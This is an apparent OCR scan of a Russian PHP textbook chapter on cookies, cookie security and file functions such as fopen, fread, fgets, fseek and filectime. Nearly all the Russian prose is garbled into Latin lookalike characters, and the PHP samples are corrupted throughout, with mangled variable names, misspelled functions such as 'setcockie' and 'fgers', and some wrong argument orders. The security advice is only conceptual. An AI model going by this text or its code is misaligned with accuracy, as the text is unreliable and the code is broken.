Takoif koI paspeiiaeT JocTyn K napamMerpaM us cookie TONBKO H3 OHHOIO dmﬁ
na — /admin/index. php:
setcookie("access", Saccess, mktime(0,0,0,1,1 201@),

" Jadmin/index.php", "mydomain.com");

A ecliM HYXHO coxpaHuTs B cookie nepemenHylo, KoTopas COAEPKUT MacCHB?
Ha nepsoiii B3m1sia, Bee npocro: prany
<?php A
Saccess{0]=$access|0]+1;

$access[1]=$access[1]1+2;

setcookie ("access", Saccess, mktime(0,0,0,1,1,2010));
>

B nasHoM npuMepe co3iaeTcs MaccHB Saccess, B xoropou ynenmunaiom 3Have-
HHSI JIBYX MEMEHTOB. 3HAauYeHNe [epBOro IeMeHTa yBeauyuBaercs Ha 1, a Bropo-

— Ha 2. BanycTute cueHapii M oDHOBHTE €ro HECKOIBKO pas. Oﬁpam're BHH-
uauue uTO 3HaYeHHst OBOMX AMEMEHTOB HUKOIIA He NpesbiuaT 9, 1. €. cocrodTr
M3 OAHOIO CHMBOJA, [Monyyaercst, 4T0 NPOCTO COXPAHHUTL NEPEMEHHYIO Saccess
© GyNET HEBEPHBIM PELICHHEM. nymo COXPaHATH KAXKILIH JMEMEHT B OTAENBHOCTH:

<7php
Saccesg[0]=5access[0]+1;
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$access[1l)=Saccess[1]+2;

setcookie("access[0]", Saccess(0], mktime(0,0,0,1,1,2010));
setcookie("access([1]", Saccess(l], mktime(0,0,0,1,1,2010));
>

C ycraHoskoit pazobpanuch. A KaK Xe MoxHo yranate cookie? Hukakue monon-
HHUTeNbHbIe (QYHKUHM He HYXHbL JlOCTATOYHO TONLKO YCTAHOBHUTH Mapamerp
C HYXHBIM WMEHEM, HO [IPH 3TOM YKa3aTh Hy/JI€BOE 3HAYEHUE BPEMEHM €ro Xus-
Hu. Takum obGpasoM, mapamerp Oyaer ynaneH u3 cookie npu 3akpsiTHu Gpaysepa.
Hanpumep, cneayoliuii Kol yoausieT napameTp access:

setcockie("access") ;

Onna cTpaHMiia MOXET YCTAHOBMTH HECKONbKO Mapamerpos, HO ydamreH Gymer
TONBKO access, 4 BCE OCTAJILHEIE OCTAHYTCS 663 M3IMEHEHUIA.

Hanocnenox HeoBxomuMo cieiarh OJHO 3aMevaHue — WMSA MEepeMEHHOH MOXer
COCTOATH TOJIBKO M3 JAaTHHCKUX OykB, undp, CHMBONOB MOAYEPKUBAHNSA WITH Je-
¢ducos. Bee ocranpHoe 3anpeleHo u npeobpasyerTcs K CHMBONY MOAYEPKHBAHMS.
Hanpumep, ecii Bbl HA3BATH NEPEMEHHYIO KaK $Test@Me, TO MOCNE BHIMONHEHUS
(yHKIMN setcookie() MM npeobpasyercs B $Test_Me.

IpoGnema B TOM, 4TO MMEHA [EPEMEHHBIX He MOCYT COlepXarh CHMBOMLI, OT-
JIMYHBIE OT NATUHCKUX OykB, rmoavepkuBanws u peduca, nodroMy u B cookie
NeHCTBYET Takoit ke sanper, uHade Hexbsst Gyzer cospars mepemeHHyo. Takum
ofpa3oM, Hesib3sl oOPATHTECS K NMEPEMEHHON $Test@Me, HO TIPU STOM MOXHO [10O-
OLITATBCA CHENATH 3TO Yepe3 MAcCHB cheayolMM obpasoMm: $SHTTP_COOKIE_
VARS [ *$Test@Me" ]. TONBKO MOMBITKA OKAXETCsA HeyHa4HOM (Bbi MMONYMHTE HyJic-
BOE JHAYEHUE, TIOTOMY 4TO MepeMeHHas Ohia nepeMMEHOBaHA, W HYXHO NMUCATE:
SHTTP_COOKIE_VARS["$Test_Me"]).

2.13.3. besonacHocTb cookie

Qaiiner cookie aGeomorTHo HeGE3ONMACHBI, W UM HOBEpATh Henbad. B Hux He
JIOJKHO XpaHUTHCS HUYEro MPHUBATHOIO, YTO MOXET NOBAMATL HA GesonacHocTh
nob30BaTeNs B cucreMe M Ha GesomacHocTs camoro ceppepa. CymiecTsyer mMHo-
XKECTBO criocobop 3aBianeTs Yy xXuMu daiinamu cookie:

O owubku B Web-6payaepe;

O owubku B cueHapuax, rnossonstiomue serponts 8 HTML-dopmy JavaScript-
Koi;

O TposiHcKHe NporpaMMbl.

Xakep moxer W noxamenars @aiin. s 3Toro yaime Bcero NPOM3BOMATCH TE Xe
ASHCTBHS, KOTOPHIE MOXET BHINOAHKHTL NONB3OBATE/b, W B PE3yibTaTe HA AWCKE
BaIOMILUMKA nogsasercst daiin cookie. CrneaywowmM sranom Gyper nofmenxa
cookie Takum oBpasoM, 4ToOBl OH COOTBETCTBOBAN APYIOMY TIONB30BATEIIO.
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PaccMoTpuM KITACCHYECKYIO 3aady ¢ ONEKTPOHHBLIMM MOYTOBSIMY suvKami. Jo-
nycTHM, 4To BecriaTHbi MOYTOBEIH cepBuc coxpawser B (aiine cookie napamer-
psl nOCTYIA K MOYTOBOMY SILHKY, YTOOB! MPH MOCHENYIOUEM BXOAE B CHCTEMY He
MPUILTOCH BBOAMTH AaHHBIE 3aHOBO. Xakep co3zaer cefe AUIMK W TOAYHAET CBOU
cookie. Teneps HeobxoanMo U3MEHHTH CBON (haiin Tak, 4TOBHI MOYTOBAs CHCTEMA
NPUHANA Bac 3a IPYyroro nojb3oBaTe/Is.

Hudopmauus n3 daiinor cookie moKHA yrnpollars aBTOPH3ALMIO, HO HE 3ame-
HATH €e, [I03TOMY XpaHHuTe TaM ToJbKO MMeHa nonb3osaresieii. [Naponu u mobyio
APYTYI0 MHGQOPMALKIO, HACHTHQUIUMPYIOWYIO MONB30OBATENSA, HeoOXOANMO Xpa-
HUTh OTHAENBHO, @ JIydlle 3acTAR/IATH MOJb3OBATENEH BBOMAMTHL €€ MPH KaXaoMm
BXOJIE.

2.14. ®aiinbl

PaGora ¢ dailnamu — Hanbonee uHTEpecHas Tema ¢ TOYKH 3peHHs OGesonmacHo-
cti. MMeHHO #3-3a HempaswibHoro obpamenus K daiinosoil cucreme GbUIO
BaloMaHo Gosbloe KoauyecTso cairos. JlioGoe obpaleHue K CHCTEME ONACHO, a
K Gaitnosoit cucreme — susoline. B pa3dese 3.4.1 MB paccMOTpUM NpHMEP
OWMOKH, KOTOPEIH f HAWET BO BPEMSA HAaNHCAHUA 3TOH KHUIH, W' B yBHATE,
KaK Xaxeps! MOTIIH OBl BIToMaTh AOCTATOYHO ABTOPHUTETHBI CailT.

®ainbl o4eHb YAOOHBLI UIA XpaHeHHs! MPOCTBHIX NAHHBIX, TAKUX KaK HAcTpoliku
caiita win HebGosbliuue GAOKM HAHHBIX, KOTOpLIe HOJIKHBI BRIBOIMTHCH HA cTpa-
Huue. Ecru gaHHBIX MHOTO, TO B 9TOM ciydae Ul XpaHeHWs Jydile TOIxXousT
6a3pl JAHHBIX,

M3 PHP-cuenapues Bol moxere paborare ¢ mobuiM daiiiom cepsepa, Ha KOTO-
PhIii yCTAHORIEHO COOTBETCTRYIONIEE MpaBo Aoctyna. C Apyroii cTOpoHsI, KOCTyN
NOMKeH ObITh paspelier TONbKO K TeM (aiinam, KoTophie HeoOXxoauMsl.

Ipasa pocryna omnpepensioresi npasamu. Web-cepsepa, Tak Kak, obpaumenne
K daitnoBoii cucTeMe MPOMCXONKT UMEHHO oT uMeHn Web-cepsepa, Ecnu cepsep
paboraer ¢ nmpaBaMM root, To M3 CueHapus MoxHo Gyner obparuThes abcomoTHo
K mobomy (aitity, B TOM uMcie W K KOH(UIypanHOHHOMY, YTO Hexopouio. Bei
JOMKHBI 3HATH, KAK MPABUIBHO HACTPoMTh CBoit Web-cepsep. O nactpoiike ca-
MOTo mOnyAspHOro cepsepa Apache Ha rmnatdopme Linux Bl MOXETe MpPOYUTATH
B KHure "Linux rmasamm xakepa" [1].

PaBora ¢ dailnamu IMPOUCXOMUT B TPH STana.

1. Otkpeitue daina,

2. Yreune wiv MOIMGBUKALASA JTAHHBIX.

3. 3akpwirue daiina.

Nasaitte paccmorpuM ¢yukumu PHP, xoropsie Nno3BomsiT HaM peann3oBaTh Bee
ati Tpn atana. Tonsko paccMmartpusark (pyHKIMK OyaeM HEMHOro B ApYroM mo-
pAKE — OTKPBITHE, 3aKPEITHE U YTEHHE/UIMEHEHNE,
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2.14.1. OtkpbiTne aiina

Daiin oTkpbiBaeTcst ¢ NOMOIILIO GYHKIMK Efopen (), KoTOpas B oblieM BUie Bhi-

MISUIHT chefylomum obpasom:

int fopen(string filemame, string mode [, int use_include_path])

Y GyHKUMH TPH MapaMeTpa, niepshie ABa U3 HUX ABIIOTCs obssarensHbME. Pac-

CMOTPHM 3TH AApaMeTphl:

O filename — uma aiiia, eciit OH HaxoaMTCA B TEKYIEM Karajiore, WIH Noi-
HLI# NYTh.

0O mode — pexuM OTKPbITHA (haiiia. 3lech MOXHO Nepeaasarh ClelylolHe 3Ha-
HYEeHHAL

® r — OTKPHITL Gain TONLKO WA YTEHHS,
® r+ — OTKPHITH (haiin Ans YTEHHA W 3arHCH,

* w — OTKphITB (haiin Toneko i 3amucn. Eciu oH CylIecTByeT, TO TéKyillee
conepxkimoe (aiina yHUYTOXAeTCst. TeKyllas WO3MIMA yCTaHABTHBACTCS
B Ha4ano;

* w+ — OTKpETH daitn mns urennsa u s sanucu. Ecam om cyuiectsyer, o
Tekylee couepxumoe daiina yururoxaercs. Tekyuias nosuumus ycranas-
NIHBAETCS B HAvano,

* a— OTKpeiTh Gaiin wis 3AMHCH. Tekywas nosuums ymaﬂannusaﬂm
B KoHell dhaiina;

* a+ — OTKPBITE (aiin wis yreHus 1 3anncu. Tekyuias nosuius ycraHapnu-
Baercsl B Kouell daiina; !

* b— obpabareiparth Gunaphsiii daitn. Itor ¢nar neobxoaum npu pabore
¢ GunapusiMi daiinamu 8 OC Windows.
O use_include_path — HcKath (aiin B Karanorax, yKasaHHBIX B JIHPEKTHBE
include_path KOHUTypauuoHHoro gaitna php.ini.
Ecim oTkpeiBaeMpiit daitn He cymiectsyer, o oH Gyaer cosnan. Ecnu daiin ne
CyILECTBYeT, T0 ybeauTech B HANMIMH Y Web-cepsepa npas Ha 3anuch B Kataior,
rae Oyner cosnasatees aivi, uHave paiin cosnars Oyler HeNb3s, W cepBep BO3-
BPATHT OWAOKY. ;
DyHKIHA BO3BpALIAET AECKPUIITOP OTKpbiToro daitna win false, eciau MONLITKA
OTKPBITHA Mpoupia Heynauwo. Bel no/kHs! BHUMarenbHo 0OpabaTsiBaTh Bee
omnbku BBopa/BEBoma. Ecnu ¢aiin He ymasoch OTKPBITh, TO HEOOXOAMMO npe-
pBaTh paboTy CcHeHapus.
if (Sf=fopen("testfile.txt", "w+"))
|  print("¢ain orkparr ($E£)"): )
else
( die("Oummtka orxpuTHa dakna™); }
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OTKpHIBATE MOXKHO HE TOJNBKO JIOKaibHbie daiiisl cepsepa, HO M. (haiiibl, pacno-
NOXEHHBIE Ha APYTHX CEPBEPAX, TONBKO Ul TOFO JIOJKEH WCHONB30BATLCS HPo-
tokon HTTP wim FTP. Hanpumep, cremyiomas crpoyka orkpeisaer daiin no
nporokony HTTP:

S§f=fopen("http://www.you domain/testfile, txt", "r")

A Ternepb nocMOTpHM Ha paGoty c daiitom o mporokony FTP:
$f=fopen("http://ftp.you_domain/testfile.txt", "r")
Kak Bumure, HHYero crpairHoro Tyt Her. Bee MakcumanbHo mpocto, U He Tpeby-

eTcs 3HAHMSI CETeBBIX MPOTOKOMOB. Bee mpoucxoaut Tak xe, Kak u c daitnamu
JnokanbHolt haiisiosoit cucTeMBbl, TONLKO BMECTO NyTH yKassisaercs URL.

2.14.2. 3akpsbitue chaiina

Bo spemsi oTKphiTHS (aitna OC BelIessieT pecypesl Uit XpaHeHHs nam-mx, Heob6-
XOAWMBIX 1St paGorel. Ecaim He ocBoGoxaaTh Takue pecypebli, TO I[POM3BOIM-
TENLHOCTH CEPBEPA CO BPEMEHEM MOXET MoiiTH Ha yObuIb, MO3TOMY HYXKHO BCeria
. MX ocBoboXars, a B JaHHOM ciyyae — 3akpbiTe (aitn. s storo cymecrsyer
yHKUMA fclose (), KoTopas B OOLIEM BHE BHITIAAUT cAeAyoumM obpasom:

int fclose (int f)
@DyuKunY MepenaeTcs HeCKpPUITOp 3akpbisaemoro aitna, Ecam sce npouwio
yaauno, To yHKUMS BO3BPAIACT true, HHAYE false. Creayiommii npumep no-
Ka3bIBaeT, KAK OTKPBITH W 3aKpsITh haiin:
if (! ($f=fopen("testfile.ext", "w+")))

{ print("OmuGxa orkpuTHa Qaina"); }

// Bhech MOXHO UMTATE WM WSMEHATL NaHHEe
fclose(S£) ;

2.14.3. YreHune gaHHbIX

st areHusi JAHHBIX W3 Qaila MoXHO ﬂcnonbaonap HECKOJIBKO (PYHKIIHIL:
fread(), fgetc(), fgets(), fgetss(). Kaknas u3 atux dysxumii ynoﬁna i
olpe/ieieHHOTo cayyasti. PaceMOTpUM MX TIO OMEpenu Ha MpUMepax.

HauGosnee 4acTo HCHONB3yeMoit mporpaMmucTamMu QyHKuMeil sBisieTcs freadi),
KOTOpasi BBIIJIAIHT CASAYIOIIMM 0bpasoM:

string fread(int £, int length)
V sroit HyHKOMM ZBa MAapamMeTpa:

O pecxkpunrop daitna, U3 KOTOPOro HYXHO MPOUIBOAHTE YTEHHE,
) KoAMYecTBO HeoBXONMMBIX CHMBONOB.
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B kayecrse pesynbrara (QyHKUMS BO3BPALIAET CTPOKY MPOMMTAHHBIX MAHHSIX.
[Tpu 3ToM nocse BeMONHeHHs GyHKIUHKH TeKymas mosuuus 8 daiine cmem@aercs
B KOHEIl TIPOYMTAHHBIX AAHHBIX, ¥ TPU CleAyIOlEeM Bbi3oBe (QYHKUMH fread()
OyayT YMTATHCS CAEIYIONIHE JaHHBIE.
PaccMoTrpum npumep:
if (1 {Sf=fopen (" /var/www/html/1/testfile.xt", "r"})))

{ die("File open error"); }

// YreHue NepELX CeMM CHMBEOJIOB
$s = fread($f, 7);
print ("<P>Line 1: $§s");

// Yrenme ocraBumxca 11 cumBonos
s = fread(SE, 11);
print("<P>Line 2: $g");

felose (SE) ;

JomycTuM, 9TO Y Hac ecTh daitn testfile.txt, B xoTopom HaxoauTtes crpoka "This is
a test”. B rieppoil ¢Tpouke KOJa Mbl OTKpPbIBaeM 3TOT (ailyi, npu ITOM TeKyMas
TIO3HLMSI YCTAHABAWBAETCA B Hayaio daitia. Unraem nepssie 7 CUMBONOB ¢ To-
MOWBIO QYHKIIMA £read() W BHIBOAMM WX Ha 3KkpaH. Teneps Texyulas 1o3uuus
B (haiine ykasslBaer Ha 8-if CHMBOJ, i YTeHHe HAYHETCH C HETo.

Tepexoaum K pyHKuMK fgets (). OHA 0YEHD NOXOKA HA fread():

string fgets(int £, int length)

Tax B yem xe pasuuna? OyHKuust fread() YHTAET NAHHBIE, HE obpalas BHUMA-
HHMsl HA MepeBoakl cTpok. Jonmycrum, uro y Bac daiin conepXuT Be CTPOKH:

This is a test

Test file

Tenepv nonpoGyiite oTkpbITh 10T Gaitn n npountats 40 cumsoros. Broro Aoc-
TATOYHO, 4TO6BI NpounTaTh 06 CTPOKM, U OHM GyAyT BO3BpAlUEHB! OJHON CTpo-
Ko#, A Teneps MOCMOTPHM HA CAEAYIOWIMIA Ko

// Yrenue neproil CTPORM

$s = fgers(SE, 40);

print{"<P>Line 1: $s8");

// YTeHue BTOPOH CTPORM
$s = fgets(SE, 40);
print ("<P>Line 2: $s8");
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3nechb mnsa uTeHUn Henonbayercs pyHRuMA fgets (). OHa uuTaer us ¢aitna yka-
3aHHOE KOJUYECTBO CHMBOJIOB, HO MpPEpLIBAET YTeHWEe, KOrZa BCTPETUT CHMBOJ
nepesona crpoku. TakuM obpasoMm, HecMOTps Ha TO, 4YTO MbI YHTaeM Mo
40 cuMBOTOB (HOCTATOMHO WIS OBGEMX CTPOK), KAXbli BBISOB (DYHKUMH fgets ()
OyneT BOIBPALIATH TOMBKO OHY CTPOKY.

Wrak, hyukums fread() ynobHa, Koraa HyXHO 4HTATh (aii, He obpauras BHU-
MaHHs Ha CTPOKH, @ £gets () JUIA YTEHUA (pailia nocTPoOUHO.

PyHkiug fgetss () MICHTHYHA fgets(), HO MPH YTEHUM YAATSET U3 MPOYNTAH-
HbIx nanHbix Bce HTML- u PHP-rern. B obuwem sune QyHKOUs BBICISAUT Cle-
ayiouiuM obpasom:

string fgetss(int £, int length [, string allowable])

INepsbie 1Ba napaMeTpa HaM yxe M3BECTHBI, a mocieaHuil spnsercs HOBBIM. D10
CTPOKA, COJepXKallas CIHCOK PA3peleHHBIX TEroB Yepe3 3amaTyio, 10 yxKe Ha-
MHOTO JIy4llie, BE/lb BBl MOXeTe pa3pelinTh YTeHHE 13 aiina TonsKo GesonacHsIX
TEros, Hanpwuep, Teros GOpMATHPOBAHUSA: <B>, <I>, <Us> U T. 4.

He nomemmano 661 HMETH BOIMOXKHOCTB GBICTPO YBHAETH CTPOKW haiina B BrIe Mac-
cuBa, MOXHO MPOYMTATh BCE CTPOKM B MACCHBE ¢ MOMOLIbIO fgets(), HO €CTh
crocob nyqie — Lbynnmﬂ file(), KOTOpas BRIIANAT CAEAYVIOWMM oﬁpaaon.
array file(string ﬂlemme [, int usq_lnelude_path])

IMpocrora 3T0r0 METOAA 3aKIIOYACTCS B TOM, YTO HE HYKHO OTKphiBaTh (aitn,
WCTIOIb30BATh LMKJI JUIsl YTeHHMs, 3aKkpuisarek daitn. [Ipocto ykassiBaeM MMs HYX-
Horo ¢aiina 1 nojlyyaem MaccHs ero CoAepXuMoro.

Bee xopouro, HO Tyr ecth M Hemoctarok. Jomyctum, yro daiin sanumaer mera-
GaifT IMCKOBOrO MNpPOCTPaHCTBA, HO HAM HY)KHO NPOMHTATH TONBKO MEpBbie
10 Gaitr. @yHkums file() 3arpy3uT Bech (ailyi ¥ WIPACXOAYET HA 3TO MHOTO pe-
cypcoB. A ecin K cuenapuio obparsites mo cetu 100 nonssopareneli? Caunnixom
GONbILINE PACXOEI MOTYT TIPHBECTH K 3amemncHuio paboThl cepsepa W ysejnue-
HHIO BpEMEHH OTKIIMKA,

Huxorna He ucronsayiite dyHkumo £ile() ana Gonbunx aios, ecnn He co-
OHpaeTech YNTATH UX LIEJTHKOM.
Crenyomnil mpUMep MOKA3bIBAET, KAK MOXKHO 3arpysuTs aitn B Maccus M. oTo-
GpasuTh €ro Ha aKpaHe:
if (Sarr=file("/var/www/html/1l/testfile.txt"}, "r+")
{
for ($i=0; $Si<count (Sarr); Si++)
{
printf ("<BR>%s", Sarr([$i]);
}
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Caenyiomas QyHkuns, Koropyilo mbsl Gymem paccmarpusarh, — fgetc(). Oma
BO3BpALIACT OMMH CUMBO U3 (aiina, NoITOMY B KAYECTBE NapaMerpa TocTarodHo
yKasaTtb TOJNBKO Jeckpunrop (aiina, U3 xoroporo HyXHo uurare. B kavecrse pe-
ayabrata QYHKUHS BEpHET HAM OAMH CHMBOJ B BUJIE CTPOKOBOI MepeMeHHOH:
string fgetec(int f)

51 nymaio, yro npunumMn pabotsl GyHKIMN fgetc () NoHATeH Ge3 NONONHUTENS-
HOTO mpuMepa.

Ecnn pocturuyr kouew gaiina, 1o Bee QyHKUMM BO3BPAMAIOT 3HAYeHHEe false.
Ecnu sanpamspaemoe KOMMYECTBO CHMBOMOB MEHBlfe, 4eM ocranocs B Qaitne,
TO QYHKIMH BO3BPALIAIOT OCTABUINECS CUMBOJILL.

Euwe pas HamoMuHaloo, 4TO NMPUA YTeHWH W BbIBOAE JAHHBIX HA BKpaH BCE Tern
B Tekcre daitna Oynyr Beitonmsthes. MckimoueHmem sBasercs  QYHKIM
fgetss (), KoTopas ypanser Terd. Ecin conepxumoe daiina MoXeT HAMOMHATLES
ronb3osareneM, To oba3aTensHO yrangiite Teru.

Sl HeCKONILKO pa3s BUAEN JIeHThl HOBOCTEH, KOTOpbHIE XPaHsT MocjeaHue HOBOCTH
B ¢aiine. Ecou rocerurenn caiTa MOryT camocTodaTe/ibHo 100aBisTh HOBOCTH, TO
Tepe/l COXpAHEHHEM HOBOCTH W TOC/IE 3arpy3ku He moMemano Obl ylaneHue Teros.

2.14.4. [lononHuTenbHbie hyHKLMM YTeHNA

ﬂ.OHYCTHM 4yTO HaM HeobxoaHMO NPOCTO BLIBECTH Ha CTPAHHILY COACPXKHUMOE OM-
peneseHHoro q:am Hnsi 5T0TO €CTH JBE dyHKUMK: fpassthru() W readfile().
Pasnuuue MexImy HUMH COCTOMT B TOM, YTO NEpBOil fepeaercs AECKpPHNTOp oT-
KpbiToro caiina u oHa BBIBONMT HA SKPAH BCE COACPKUMOE, HAYMHAA C TeKyluei
rosntuK. Bropoit nepenaercs ums gaitna, u ona cama oTKpbiBaer ¢aitin, yuraer
NAHHBIE, BHIBOIMT HA CTPAHMILY W 3AKPHIBACT.
Hanpuwmep:
if ($f=fopen("/var/www/html/1/testfile.txt", "x"))
{ print("File opened ($£)}"); }
else

{ die("File open error"); }

fpassthru(sE);

Hnsi paGotst ¢ pyukumedt fpassthrul) Heobxonumo, yrobbl daitn Gsul OTKPLIT
B pEXHME YTeHMS.

Ecnu HeobxoaAMMO BBIBECTH HA CTPAHMLLY Bech (haiiii, To Mpollue BOCMONbL3OBATHCS
QyHKUMEN readfile():

readfile (" /var/www/html/1/testfile.txt");

ByznnTe OCTOPOXHBI 1TPH MCMONB30BAHKT (DYHKUMI fpassthru() M readfile().
leno B TOM, YTO OHM BHIMOJHAOT KOM M3 yuTaemeix daitnos. Hampumep, ecou
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Bbl BBIBOAWMTE HA CTPAHHIY coxepXumoe aitna index.php, To HTML-rern ua
atoro ¢aiiia Oyayr obpaboraust 6payzepom. Eciu xakep Hojy4MT AOCTYN K MOA-
KinosaemMomy daitry, To cMOXeT BCTaBuTh B Hero JavaScript-kon. [pu ucnonbso-
BaHMH 3THX (GYHKUMIX Bbl HE MOXETE MPOBEPHTH couepxkumMoe ¢aiiia Ha aomyc-
THMOCTb COJMEPKHMOTO.

2.14.5. 3anuch aaHHbIX

Ins sanfcu HAHHEIX MOXHO HMCMONLIOBATE OMHY M3 ABYX (YHKUM: fwrite()
W fputs(). OHM HASHTHYHBl ¥ OTIMYAIOTCH TONLKO HasBaHueM, nostomy Gyrem
MCOONB30BATh fwrite():

int fwrite(int £, string ws [, int length])

Y dyukunm TpH mapamerpa, nepsbie B3 W3 KOTOPBIX 06f3aTenbHbIe:
O neckpunrop daitna, B KOTOPbIH HYKHO 3aITHCHIBATE JAHHBIE,

O cTpoka, KOTOPYIO Hajlo 3aIncaTh;

O KOIMYECTBO 3ANMUCHIBAGMBIX JaHHBIX. Eciu 9ToT napametp He sagaH, 1o
B chaitn Gyner 3anucaHa Besi CTPOKA..
Ecnu 3anuchk Mpon30ILTa YCMeurHo, To (GyHKUHA BOIBPALIAET true, HHAYE false.
Bo Bpemsi 3anKCH Bbl JO/DKHBI YUHTHIBATE, YTO HAHHBIE [THUIIYTCS B TEKYLLYIO M0-
auunio B daitne. Hanpumep:
if( ! (SE=fopen("/var/www/html/1l/testfile.txt", "r+")))
{
die("File open error");
}

$s = fread($€, 7);
print("<P>Line 1: §s8");

fwrite($f, "writing”):

felose ($£) ;

B atoM npumepe 1ociie oTKphiTHs daiiia Mbl cHayaia YMTaeM 7 CHMBOJIOB, @ 10—
TOM YXe 3amuchiBaeM AaHHble. Tak Kak noclie YTeHWs MO3ULMS Nepemeitaercs
Ha 8-i cuMBoOJI, TO 3anuch OyleT MPONCXOTNTH, HAYMHas ¢ 8-ro cHMBOJIA,

2.14.6. NosuyuoHnpoBaHne B chaine

Korna peobxonumo nmpounTars ¢aiin 3a HeCcKOIbKO 3TAnoB, 04CHb BAXHO YETKO
3HATh, AOCTHUTHYT AW KoHeuw daitna. He crour Hanearses Ha TO, 4TO QyHKUHH
yTeHHs! BEPHYT IycToe 3HaueHue B KoHue daiina, ayyiie BOCTONLIOBATLCS Clie-
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LUHANU3NPOBaHHBIM MeTomoM. B sissike PHP ecrs makoit Meron — dymxums
feof (). OHa BO3BpAlLAET true, €CAM TEKYLIAS TIOMLMS COOTBETCTBYET KOHLY
taitna. Hanmpumep, umkr yrenus Qaiina MoXer BuITIAIET Caeayionmm obpason:
if (| ($f=fopen (" /var/www/html/1/testfile.txt", "r")))

{ die("Pile open error"); }

while (I|feof(%f))

{

$str = fread($£, 10);
}

fclose(SE) s

B atom npumepe mbl B umkiae yutaem gaHHble no 10 cumsonos, noka He Oymer
JOCTUTHYT KOHeIL[ daiia.

Tenepb MOCMOTPHM, KaK MOXHO mepeMemarses mo ainy. Ecnmm Mel oTkpsum
daiin pasmepom B 1 MBaiiT ¥ XoTuM npounTars Tonsko nocrennue 100 Gadt, o
HET CMBICTA TepeynThiBaTh Bech Gai. HyXHO npocTo yeTaHOBUTE Kypcop B co-
OTBETCTBYIOUIYIO FIO3MLMIO M YWTATH TOJILKO TO, 4to Tpebyerca. [Lns sroro mc-
nonw3yercs QyHKUMS fseek(), KOTOpasi B oOuieM BUAE BBITVISUIAT CJAEAYIOWINM
obpaszom:

int fseek{int £, int offset [, int whence])
3neck y Hac Tpu mapaMeTpa, Ba U3 KOTOPHIX ABISIOTCH OBS3aTeNBHBIMY:
O £ — neckpunrop ¢aiina;

O offset — KONWYECTBO CHMBOJIOB, HA KOTOPLIE HYXHO nepeasuHyThes. OTkyxa
WIeT ABHXEeHKE, 3aBUCUT OT Nocieinero napamerpa hyHkuum;

00 whence — OTKYHa ¥ KyAa HYXHO nepemeuarses. [To ymonganuio ucnombayer-
ca napamerp SeEk_seT. [NepeqHCauM 3HAYEHHs, KOTOPbIE MOXHO YKa3blBaTH
B 3TOM NlapameTpe:

* SEEK_SET — [IBHXEHHe HAYMHAeTcs c Havana daiina,

* SEEK_CUR — ABIXEHME WIET OT TeKYLIeH Mosuumu;

* SEEK_END — JIBHXKEHME MIET OT KoHua daitna. YtoGsl ABMraThes B HAYANO,

BO BTOPOM MMapaMerpe HYXHO yKasarh OTPHLATENBHOE 3HAYCHHE.

Hanpumep, ecmm HyXHO npouutars nocaeanue 10 cHMBONIOB, TO MOXHO BBITON-
HUTB CREAYIOLINI KO
fseek ($f, SEEK_END, -10);
$s = fread($€, 10);
B nepsoit cTpouke Koga ¢ MoMolIbio (YHKUMK fseek() MBI NepeMellaeMcs Ha

10 cumsonoB or KoHua daiina k Havany. Bo Bropoit cTpouke MBI YuTaeM mochen-
HHE CUMBOJIEL,
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Yrobel onperenuTs TEKYHLYIO TIO3NIINID, MOXHO HCNOMb30BaTh PYHKUAIO ftell().
Eit myxHo nepenars Tonbko neckpunTop Gaiiia, a B peayabrare Msl nonyqaen
KONMYECTBO CHMBONIOB OT Hauana paina. Hanpumep:

$pos = ftell(s$f);

Yrobel GuicTpo mepeMecTHTECS B Hayairo (afina, MOXHO BOCMONbB30BATHCS
dyukumeil rewind(). Eil enenyer nepenars Tonbko JecKpunTop thaiind, B Koro-
POM HYXHO NEPEeMECTHTb TEKYILYIO MO3HIUIO B CaMOe HAYAIo.

2.14.7. Ceoiictea cpaiinos

Y aiiioB AOCTATOMHO MHOrO CBOWMCTB, M MX JIETKO ONPEACIUTE C [OMOIILIO
PHP-dynkumit, 6e3 obpamenns K cuctremMe HAMPAMYIO.

Ho mpexne yeM onpeneisTs CBOHCTBA, HYXHO HAYHUTHCA OMPENEssTh, CYLHECT-
BYeT Jii BoobGuie sror (daita. Dro KenareabHO [eNaTh HEpea KaXIo# MOMBITKOM
OTKpbITh ¢aiin. i ompeseneHus cyulecTBopaHMa <aiitd  Mcronb3yercs
dyHKIUMS file_exists():

int file_exists(string filename)
B xagectse napamerpa dyHKIMH HYXHO nepeaats ums ¢aitna, w ecnu daitn cy-
IECTBYET, TO pe3yasraroM OyHer true, MHaue — false. Torma KOX OTKPHITHSA
(aiina nyyuie nuecars caenyromumM obpasom, ecnm daila 4oKeH CylUIeCTBOBATS:
if (1 (file_exists("/var/www/html/1/testfile.txt")))

{ die("¢ain He cymecTsyetr"); |}

if (! ($f=fopen("/var/www/html/1/testfile.txt", "r")))

{ die("Oumbxa oTkpwrHa daima®™); |}
Caenyrowaa GyHKLMS, KOTOPYIO MBl OyaeM paccMarpusarh, IMO3BONSET Onpee-
UTH BpeMsl uaMeHeHus daiia Win MeTamaHHsX (Hanpumep, Npas HOCTyna) —
filectime():
int filectime(string filename)
Crientyioutuit Kol WUTIOCTPUPYET CHTYALIHIO, B KOTOPOI HA CTPAHMILY BBIBOAMTCA
pe3yabTaT BHINOMHEHHsS (PYHKUMK filectime():
if (Stime=filectime("testfile.txt"))

{

Stimestr = da.telf"l dF ¥ h:i:s A", Stime);

print ("Last modified: $timestr");

}
Takum crocobom yno6Ho oTobpasuTh MONL30BATENIO AATY, KOINA BSl MOCHeAHUit
pa3 BHOCHJIH M3MEHEHHUS B CLEHAPHIL.
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Pesynwrar, Bosspaiemsiit dyikmieil filectime(), — uncio, W wis npeodpaso-
BAHUS Ucrionbayerea QyHKums date(). Y a1oil hyHKuMN HBa napameTpa — HyX-

Hulit chopmar u Bpems. B kauecrse ¢opmarta MEnonb3yercsi CTPOKa, B KOTOPOi
MOXHO YKA3KIBATH CJENYIOLIHE CHMBOJBL

O a — dopmar BpeMEHH am WK pm;

0A— EprMa‘l‘.BpBMeHH AM win PM;

0O d — jgenb mecsua uadpamm;

0O D — KopoTkoe Ha3BaHWe JH HEACTH, COCTOALIEE U3 Tpex Oyks;
0O F — nonHoe TeKCTOBOE Ha3BaHHE MECHLUA, '

O h — Bpema B 12-4acosom opmare;

O H — spems B 24-vacosom opMaTe;

O i — MMHYTSIL,

0O j — neHs Mecsiia;

O | — nonHoe TEKCTOBOE HAIBAHHE JIHS HENEH;

O m — mecsu undpamu; .

0O M — xopoTkoe HasBaHHe Mecsila, cocTosee H3 Tpex byks; Z
O s — cekyHubI;

O U — cexyHibl ¢ HAYIA BEKA;

O Y — ron;

0O w — nens Hepenn undpamu (0 — Bockpecenne);

